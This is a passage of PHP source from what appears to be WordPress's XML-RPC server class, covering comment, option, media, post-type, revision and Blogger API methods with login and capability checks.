			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getComments', $args, $this );

		if ( isset( $struct['status'] ) ) {
			$status = $struct['status'];
		} else {
			$status = '';
		}

		if ( ! current_user_can( 'moderate_comments' ) && 'approve' !== $status ) {
			return new IXR_Error( 401, __( 'Invalid comment status.' ) );
		}

		$post_id = '';
		if ( isset( $struct['post_id'] ) ) {
			$post_id = absint( $struct['post_id'] );
		}

		$post_type = '';
		if ( isset( $struct['post_type'] ) ) {
			$post_type_object = get_post_type_object( $struct['post_type'] );
			if ( ! $post_type_object || ! post_type_supports( $post_type_object->name, 'comments' ) ) {
				return new IXR_Error( 404, __( 'Invalid post type.' ) );
			}
			$post_type = $struct['post_type'];
		}

		$offset = 0;
		if ( isset( $struct['offset'] ) ) {
			$offset = absint( $struct['offset'] );
		}

		$number = 10;
		if ( isset( $struct['number'] ) ) {
			$number = absint( $struct['number'] );
		}

		$comments = get_comments(
			array(
				'status'    => $status,
				'post_id'   => $post_id,
				'offset'    => $offset,
				'number'    => $number,
				'post_type' => $post_type,
			)
		);

		$comments_struct = array();
		if ( is_array( $comments ) ) {
			foreach ( $comments as $comment ) {
				$comments_struct[] = $this->_prepare_comment( $comment );
			}
		}

		return $comments_struct;
	}

	/**
	 * Deletes a comment.
	 *
	 * By default, the comment will be moved to the Trash instead of deleted.
	 * See wp_delete_comment() for more information on this behavior.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Comment ID.
	 * }
	 * @return bool|IXR_Error See wp_delete_comment().
	 */
	public function wp_deleteComment( $args ) {
		$this->escape( $args );

		$username   = $args[1];
		$password   = $args[2];
		$comment_id = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! get_comment( $comment_id ) ) {
			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
		}

		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to delete this comment.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.deleteComment', $args, $this );

		$status = wp_delete_comment( $comment_id );

		if ( $status ) {
			/**
			 * Fires after a comment has been successfully deleted via XML-RPC.
			 *
			 * @since 3.4.0
			 *
			 * @param int   $comment_id ID of the deleted comment.
			 * @param array $args       An array of arguments to delete the comment.
			 */
			do_action( 'xmlrpc_call_success_wp_deleteComment', $comment_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
		}

		return $status;
	}

	/**
	 * Edits a comment.
	 *
	 * Besides the common blog_id (unused), username, and password arguments,
	 * it takes a comment_id integer and a content_struct array as the last argument.
	 *
	 * The allowed keys in the content_struct array are:
	 *  - 'author'
	 *  - 'author_url'
	 *  - 'author_email'
	 *  - 'content'
	 *  - 'date_created_gmt'
	 *  - 'status'. Common statuses are 'approve', 'hold', 'spam'. See get_comment_statuses() for more details.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Comment ID.
	 *     @type array  $4 Content structure.
	 * }
	 * @return true|IXR_Error True, on success.
	 */
	public function wp_editComment( $args ) {
		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$comment_id     = (int) $args[3];
		$content_struct = $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! get_comment( $comment_id ) ) {
			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
		}

		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.editComment', $args, $this );
		$comment = array(
			'comment_ID' => $comment_id,
		);

		if ( isset( $content_struct['status'] ) ) {
			$statuses = get_comment_statuses();
			$statuses = array_keys( $statuses );

			if ( ! in_array( $content_struct['status'], $statuses, true ) ) {
				return new IXR_Error( 401, __( 'Invalid comment status.' ) );
			}

			$comment['comment_approved'] = $content_struct['status'];
		}

		// Do some timestamp voodoo.
		if ( ! empty( $content_struct['date_created_gmt'] ) ) {
			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
			$dateCreated                 = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
			$comment['comment_date']     = get_date_from_gmt( $dateCreated );
			$comment['comment_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' );
		}

		if ( isset( $content_struct['content'] ) ) {
			$comment['comment_content'] = $content_struct['content'];
		}

		if ( isset( $content_struct['author'] ) ) {
			$comment['comment_author'] = $content_struct['author'];
		}

		if ( isset( $content_struct['author_url'] ) ) {
			$comment['comment_author_url'] = $content_struct['author_url'];
		}

		if ( isset( $content_struct['author_email'] ) ) {
			$comment['comment_author_email'] = $content_struct['author_email'];
		}

		$result = wp_update_comment( $comment, true );
		if ( is_wp_error( $result ) ) {
			return new IXR_Error( 500, $result->get_error_message() );
		}

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the comment could not be updated.' ) );
		}

		/**
		 * Fires after a comment has been successfully updated via XML-RPC.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $comment_id ID of the updated comment.
		 * @param array $args       An array of arguments to update the comment.
		 */
		do_action( 'xmlrpc_call_success_wp_editComment', $comment_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return true;
	}

	/**
	 * Creates a new comment.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int        $0 Blog ID (unused).
	 *     @type string     $1 Username.
	 *     @type string     $2 Password.
	 *     @type string|int $3 Post ID or URL.
	 *     @type array      $4 Content structure.
	 * }
	 * @return int|IXR_Error See wp_new_comment().
	 */
	public function wp_newComment( $args ) {
		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$post           = $args[3];
		$content_struct = $args[4];

		/**
		 * Filters whether to allow anonymous comments over XML-RPC.
		 *
		 * @since 2.7.0
		 *
		 * @param bool $allow Whether to allow anonymous commenting via XML-RPC.
		 *                    Default false.
		 */
		$allow_anon = apply_filters( 'xmlrpc_allow_anonymous_comments', false );

		$user = $this->login( $username, $password );

		if ( ! $user ) {
			$logged_in = false;
			if ( $allow_anon && get_option( 'comment_registration' ) ) {
				return new IXR_Error( 403, __( 'Sorry, you must be logged in to comment.' ) );
			} elseif ( ! $allow_anon ) {
				return $this->error;
			}
		} else {
			$logged_in = true;
		}

		if ( is_numeric( $post ) ) {
			$post_id = absint( $post );
		} else {
			$post_id = url_to_postid( $post );
		}

		if ( ! $post_id ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! get_post( $post_id ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! comments_open( $post_id ) ) {
			return new IXR_Error( 403, __( 'Sorry, comments are closed for this item.' ) );
		}

		if (
			'publish' === get_post_status( $post_id ) &&
			! current_user_can( 'edit_post', $post_id ) &&
			post_password_required( $post_id )
		) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
		}

		if (
			'private' === get_post_status( $post_id ) &&
			! current_user_can( 'read_post', $post_id )
		) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
		}

		$comment = array(
			'comment_post_ID' => $post_id,
			'comment_content' => trim( $content_struct['content'] ),
		);

		if ( $logged_in ) {
			$display_name = $user->display_name;
			$user_email   = $user->user_email;
			$user_url     = $user->user_url;

			$comment['comment_author']       = $this->escape( $display_name );
			$comment['comment_author_email'] = $this->escape( $user_email );
			$comment['comment_author_url']   = $this->escape( $user_url );
			$comment['user_id']              = $user->ID;
		} else {
			$comment['comment_author'] = '';
			if ( isset( $content_struct['author'] ) ) {
				$comment['comment_author'] = $content_struct['author'];
			}

			$comment['comment_author_email'] = '';
			if ( isset( $content_struct['author_email'] ) ) {
				$comment['comment_author_email'] = $content_struct['author_email'];
			}

			$comment['comment_author_url'] = '';
			if ( isset( $content_struct['author_url'] ) ) {
				$comment['comment_author_url'] = $content_struct['author_url'];
			}

			$comment['user_id'] = 0;

			if ( get_option( 'require_name_email' ) ) {
				if ( strlen( $comment['comment_author_email'] ) < 6 || '' === $comment['comment_author'] ) {
					return new IXR_Error( 403, __( 'Comment author name and email are required.' ) );
				} elseif ( ! is_email( $comment['comment_author_email'] ) ) {
					return new IXR_Error( 403, __( 'A valid email address is required.' ) );
				}
			}
		}

		$comment['comment_parent'] = isset( $content_struct['comment_parent'] ) ? absint( $content_struct['comment_parent'] ) : 0;

		/** This filter is documented in wp-includes/comment.php */
		$allow_empty = apply_filters( 'allow_empty_comment', false, $comment );

		if ( ! $allow_empty && '' === $comment['comment_content'] ) {
			return new IXR_Error( 403, __( 'Comment is required.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.newComment', $args, $this );

		$comment_id = wp_new_comment( $comment, true );
		if ( is_wp_error( $comment_id ) ) {
			return new IXR_Error( 403, $comment_id->get_error_message() );
		}

		if ( ! $comment_id ) {
			return new IXR_Error( 403, __( 'Something went wrong.' ) );
		}

		/**
		 * Fires after a new comment has been successfully created via XML-RPC.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $comment_id ID of the new comment.
		 * @param array $args       An array of new comment arguments.
		 */
		do_action( 'xmlrpc_call_success_wp_newComment', $comment_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return $comment_id;
	}

	/**
	 * Retrieves all of the comment status.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getCommentStatusList( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'publish_posts' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getCommentStatusList', $args, $this );

		return get_comment_statuses();
	}

	/**
	 * Retrieves comment counts.
	 *
	 * @since 2.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Post ID.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getCommentCount( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$post_id  = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		$post = get_post( $post_id, ARRAY_A );
		if ( empty( $post['ID'] ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details of this post.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getCommentCount', $args, $this );

		$count = wp_count_comments( $post_id );

		return array(
			'approved'            => $count->approved,
			'awaiting_moderation' => $count->moderated,
			'spam'                => $count->spam,
			'total_comments'      => $count->total_comments,
		);
	}

	/**
	 * Retrieves post statuses.
	 *
	 * @since 2.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPostStatusList( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPostStatusList', $args, $this );

		return get_post_statuses();
	}

	/**
	 * Retrieves page statuses.
	 *
	 * @since 2.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPageStatusList( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_pages' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPageStatusList', $args, $this );

		return get_page_statuses();
	}

	/**
	 * Retrieves page templates.
	 *
	 * @since 2.6.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPageTemplates( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_pages' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
		}

		$templates            = get_page_templates();
		$templates['Default'] = 'default';

		return $templates;
	}

	/**
	 * Retrieves blog options.
	 *
	 * @since 2.6.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Options.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getOptions( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$options  = isset( $args[3] ) ? (array) $args[3] : array();

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		// If no specific options where asked for, return all of them.
		if ( count( $options ) === 0 ) {
			$options = array_keys( $this->blog_options );
		}

		return $this->_getOptions( $options );
	}

	/**
	 * Retrieves blog options value from list.
	 *
	 * @since 2.6.0
	 *
	 * @param array $options Options to retrieve.
	 * @return array
	 */
	public function _getOptions( $options ) {
		$data       = array();
		$can_manage = current_user_can( 'manage_options' );
		foreach ( $options as $option ) {
			if ( array_key_exists( $option, $this->blog_options ) ) {
				$data[ $option ] = $this->blog_options[ $option ];
				// Is the value static or dynamic?
				if ( isset( $data[ $option ]['option'] ) ) {
					$data[ $option ]['value'] = get_option( $data[ $option ]['option'] );
					unset( $data[ $option ]['option'] );
				}

				if ( ! $can_manage ) {
					$data[ $option ]['readonly'] = true;
				}
			}
		}

		return $data;
	}

	/**
	 * Updates blog options.
	 *
	 * @since 2.6.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Options.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_setOptions( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$options  = (array) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to update options.' ) );
		}

		$option_names = array();
		foreach ( $options as $o_name => $o_value ) {
			$option_names[] = $o_name;
			if ( ! array_key_exists( $o_name, $this->blog_options ) ) {
				continue;
			}

			if ( true == $this->blog_options[ $o_name ]['readonly'] ) {
				continue;
			}

			update_option( $this->blog_options[ $o_name ]['option'], wp_unslash( $o_value ) );
		}

		// Now return the updated values.
		return $this->_getOptions( $option_names );
	}

	/**
	 * Retrieves a media item by ID.
	 *
	 * @since 3.1.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Attachment ID.
	 * }
	 * @return array|IXR_Error Associative array contains:
	 *  - 'date_created_gmt'
	 *  - 'parent'
	 *  - 'link'
	 *  - 'thumbnail'
	 *  - 'title'
	 *  - 'caption'
	 *  - 'description'
	 *  - 'metadata'
	 */
	public function wp_getMediaItem( $args ) {
		$this->escape( $args );

		$username      = $args[1];
		$password      = $args[2];
		$attachment_id = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to upload files.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getMediaItem', $args, $this );

		$attachment = get_post( $attachment_id );
		if ( ! $attachment || 'attachment' !== $attachment->post_type ) {
			return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
		}

		return $this->_prepare_media_item( $attachment );
	}

	/**
	 * Retrieves a collection of media library items (or attachments).
	 *
	 * Besides the common blog_id (unused), username, and password arguments,
	 * it takes a filter array as the last argument.
	 *
	 * Accepted 'filter' keys are 'parent_id', 'mime_type', 'offset', and 'number'.
	 *
	 * The defaults are as follows:
	 * - 'number'    - Default is 5. Total number of media items to retrieve.
	 * - 'offset'    - Default is 0. See WP_Query::query() for more.
	 * - 'parent_id' - Default is ''. The post where the media item is attached.
	 *                 Empty string shows all media items. 0 shows unattached media items.
	 * - 'mime_type' - Default is ''. Filter by mime type (e.g., 'image/jpeg', 'application/pdf')
	 *
	 * @since 3.1.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Query arguments.
	 * }
	 * @return array|IXR_Error Array containing a collection of media items.
	 *                         See wp_xmlrpc_server::wp_getMediaItem() for a description
	 *                         of each item contents.
	 */
	public function wp_getMediaLibrary( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$struct   = isset( $args[3] ) ? $args[3] : array();

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getMediaLibrary', $args, $this );

		$parent_id = ( isset( $struct['parent_id'] ) ) ? absint( $struct['parent_id'] ) : '';
		$mime_type = ( isset( $struct['mime_type'] ) ) ? $struct['mime_type'] : '';
		$offset    = ( isset( $struct['offset'] ) ) ? absint( $struct['offset'] ) : 0;
		$number    = ( isset( $struct['number'] ) ) ? absint( $struct['number'] ) : -1;

		$attachments = get_posts(
			array(
				'post_type'      => 'attachment',
				'post_parent'    => $parent_id,
				'offset'         => $offset,
				'numberposts'    => $number,
				'post_mime_type' => $mime_type,
			)
		);

		$attachments_struct = array();

		foreach ( $attachments as $attachment ) {
			$attachments_struct[] = $this->_prepare_media_item( $attachment );
		}

		return $attachments_struct;
	}

	/**
	 * Retrieves a list of post formats used by the site.
	 *
	 * @since 3.1.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error List of post formats, otherwise IXR_Error object.
	 */
	public function wp_getPostFormats( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPostFormats', $args, $this );

		$formats = get_post_format_strings();

		// Find out if they want a list of currently supports formats.
		if ( isset( $args[3] ) && is_array( $args[3] ) ) {
			if ( $args[3]['show-supported'] ) {
				if ( current_theme_supports( 'post-formats' ) ) {
					$supported = get_theme_support( 'post-formats' );

					$data              = array();
					$data['all']       = $formats;
					$data['supported'] = $supported[0];

					$formats = $data;
				}
			}
		}

		return $formats;
	}

	/**
	 * Retrieves a post type.
	 *
	 * @since 3.4.0
	 *
	 * @see get_post_type_object()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type string $3 Post type name.
	 *     @type array  $4 Optional. Fields to fetch.
	 * }
	 * @return array|IXR_Error Array contains:
	 *  - 'labels'
	 *  - 'description'
	 *  - 'capability_type'
	 *  - 'cap'
	 *  - 'map_meta_cap'
	 *  - 'hierarchical'
	 *  - 'menu_position'
	 *  - 'taxonomies'
	 *  - 'supports'
	 */
	public function wp_getPostType( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$post_type_name = $args[3];

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/**
			 * Filters the default post type query fields used by the given XML-RPC method.
			 *
			 * @since 3.4.0
			 *
			 * @param array  $fields An array of post type fields to retrieve. By default,
			 *                       contains 'labels', 'cap', and 'taxonomies'.
			 * @param string $method The method name.
			 */
			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostType' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPostType', $args, $this );

		if ( ! post_type_exists( $post_type_name ) ) {
			return new IXR_Error( 403, __( 'Invalid post type.' ) );
		}

		$post_type = get_post_type_object( $post_type_name );

		if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
		}

		return $this->_prepare_post_type( $post_type, $fields );
	}

	/**
	 * Retrieves post types.
	 *
	 * @since 3.4.0
	 *
	 * @see get_post_types()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Query arguments.
	 *     @type array  $4 Optional. Fields to fetch.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPostTypes( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$filter   = isset( $args[3] ) ? $args[3] : array( 'public' => true );

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostTypes' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPostTypes', $args, $this );

		$post_types = get_post_types( $filter, 'objects' );

		$struct = array();

		foreach ( $post_types as $post_type ) {
			if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
				continue;
			}

			$struct[ $post_type->name ] = $this->_prepare_post_type( $post_type, $fields );
		}

		return $struct;
	}

	/**
	 * Retrieves revisions for a specific post.
	 *
	 * @since 3.5.0
	 *
	 * The optional $fields parameter specifies what fields will be included
	 * in the response array.
	 *
	 * @uses wp_get_post_revisions()
	 * @see wp_getPost() for more on $fields
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Post ID.
	 *     @type array  $4 Optional. Fields to fetch.
	 * }
	 * @return array|IXR_Error Array containing a collection of posts.
	 */
	public function wp_getRevisions( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$post_id  = (int) $args[3];

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/**
			 * Filters the default revision query fields used by the given XML-RPC method.
			 *
			 * @since 3.5.0
			 *
			 * @param array  $field  An array of revision fields to retrieve. By default,
			 *                       contains 'post_date' and 'post_date_gmt'.
			 * @param string $method The method name.
			 */
			$fields = apply_filters( 'xmlrpc_default_revision_fields', array( 'post_date', 'post_date_gmt' ), 'wp.getRevisions' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getRevisions', $args, $this );

		$post = get_post( $post_id );
		if ( ! $post ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
		}

		// Check if revisions are enabled.
		if ( ! wp_revisions_enabled( $post ) ) {
			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
		}

		$revisions = wp_get_post_revisions( $post_id );

		if ( ! $revisions ) {
			return array();
		}

		$struct = array();

		foreach ( $revisions as $revision ) {
			if ( ! current_user_can( 'read_post', $revision->ID ) ) {
				continue;
			}

			// Skip autosaves.
			if ( wp_is_post_autosave( $revision ) ) {
				continue;
			}

			$struct[] = $this->_prepare_post( get_object_vars( $revision ), $fields );
		}

		return $struct;
	}

	/**
	 * Restores a post revision.
	 *
	 * @since 3.5.0
	 *
	 * @uses wp_restore_post_revision()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Revision ID.
	 * }
	 * @return bool|IXR_Error false if there was an error restoring, true if success.
	 */
	public function wp_restoreRevision( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username    = $args[1];
		$password    = $args[2];
		$revision_id = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.restoreRevision', $args, $this );

		$revision = wp_get_post_revision( $revision_id );
		if ( ! $revision ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( wp_is_post_autosave( $revision ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		$post = get_post( $revision->post_parent );
		if ( ! $post ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $revision->post_parent ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		// Check if revisions are disabled.
		if ( ! wp_revisions_enabled( $post ) ) {
			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
		}

		$post = wp_restore_post_revision( $revision_id );

		return (bool) $post;
	}

	/*
	 * Blogger API functions.
	 * Specs on http://plant.blogger.com/api and https://groups.yahoo.com/group/bloggerDev/
	 */

	/**
	 * Retrieves blogs that user owns.
	 *
	 * Will make more sense once we support multiple blogs.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function blogger_getUsersBlogs( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		if ( is_multisite() ) {
			return $this->_multisite_getUsersBlogs( $args );
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.getUsersBlogs', $args, $this );

		$is_admin = current_user_can( 'manage_options' );

		$struct = array(
			'isAdmin'  => $is_admin,
			'url'      => get_option( 'home' ) . '/',
			'blogid'   => '1',
			'blogName' => get_option( 'blogname' ),
			'xmlrpc'   => site_url( 'xmlrpc.php', 'rpc' ),
		);

		return array( $struct );
	}

	/**
	 * Private function for retrieving a users blogs for multisite setups.
	 *
	 * @since 3.0.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
